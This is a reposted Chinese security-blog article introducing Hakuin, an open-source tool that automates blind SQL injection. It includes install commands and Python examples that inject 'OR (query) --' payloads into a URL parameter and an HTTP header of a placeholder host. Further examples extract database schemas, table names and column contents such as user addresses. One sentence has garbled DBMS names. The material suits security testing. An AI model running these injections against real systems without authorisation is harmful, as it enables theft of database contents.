hakuin:自动化SQL盲注(BSQLI)安全检测工具

admin 2024年7月29日15:20:15评论29 views字数 2502阅读8分20秒阅读模式

关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

hakuin:自动化SQL盲注(BSQLI)安全检测工具

安装

要安装 Hakuin,只需运行:

pip3 install hakuin

开发人员应该在本地安装该包并设置-e可编辑模式的标志:

git clone [email protected]:pruzko/hakuin.git
cd hakuin
pip3 install -e .

例子

一旦确定了 BSQLI 漏洞,就需要告诉 Hakuin 如何注入其查询。为此,从派生一个类Requester并重写request方法。此外,该方法必须确定查询是否解析为TrueFalse

示例 1 - 基于状态推断的查询参数注入
import aiohttpfrom hakuin import Requester
class StatusRequester(Requester):    async def request(self, ctx, query):        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')        return r.status == 200
示例 2 - 基于内容推断的标头注入
class ContentRequester(Requester):    async def request(self, ctx, query):        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}        r = await aiohttp.get(f'http://vuln.com/', headers=headers)        return 'found' in await r.text()

要开始提取数据,请使用Extractor类。它需要一个DBMS对象来构造查询,以及一个Requester对象来注入查询。Hakuin 目前支持SQLite、、(PostgreSQL)和(SQL Server)DBMS,但很快将包含更多选项。如果您希望支持其他 DBMS,请实现中定义的MySQL接口PSQLMSSQLDBMShakuin/dbms/DBMS.py

示例 1 - 提取 SQLite/MySQL/PSQL/MSSQL
import asynciofrom hakuin import Extractor, Requesterfrom hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):    ...
async def main():    # requester:    Use this Requester    # dbms:         Use this DBMS    # n_tasks:      Spawns N tasks that extract column rows in parallel     ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)    ...
if __name__ == '__main__':    asyncio.get_event_loop().run_until_complete(main())

现在一切已设置好,您可以开始提取数据库元数据。

示例 1 - 提取数据库模式
# strategy:#   'binary':   Use binary search#   'model':    Use pre-trained modelschema_names = await ext.extract_schema_names(strategy='model')
示例 2 - 提取表格
tables = await ext.extract_table_names(strategy='model')
示例 3 - 提取列
columns = await ext.extract_column_names(table='users', strategy='model')
示例 4 - 同时提取表和列
metadata = await ext.extract_meta(strategy='model')

一旦了解了结构,就可以提取实际内容。

示例 1 - 提取通用列
# text_strategy:    Use this strategy if the column is textres = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
示例 2 - 提取文本列
# strategy:#   'binary':       Use binary search#   'fivegram':     Use five-gram model#   'unigram':      Use unigram model#   'dynamic':      Dynamically identify the best strategy. This setting#                   also enables opportunistic guessing.res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
示例 3 - 提取整数列
res = await ext.extract_column_int(table='users', column='id')
示例 4 - 提取浮点列
res = await ext.extract_column_float(table='products', column='price')
示例 5 - 提取 Blob(二进制数据)列
res = await ext.extract_column_blob(table='users', column='id')

目录中可以找到更多示例tests

从命令行使用 Hakuin

 

Hakuin 附带一个简单的包装工具,hk.py允许您直接从命令行使用 Hakuin 的基本功能。要了解更多信息,请运行:

python3 hk.py -h

项目下载地址:

https://github.com/pruzko/hakuin

原文始发于微信公众号(黑战士):一款自动化SQL盲注(BSQLI)安全检测工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日15:20:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hakuin:自动化SQL盲注(BSQLI)安全检测工具https://cn-sec.com/archives/2996433.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息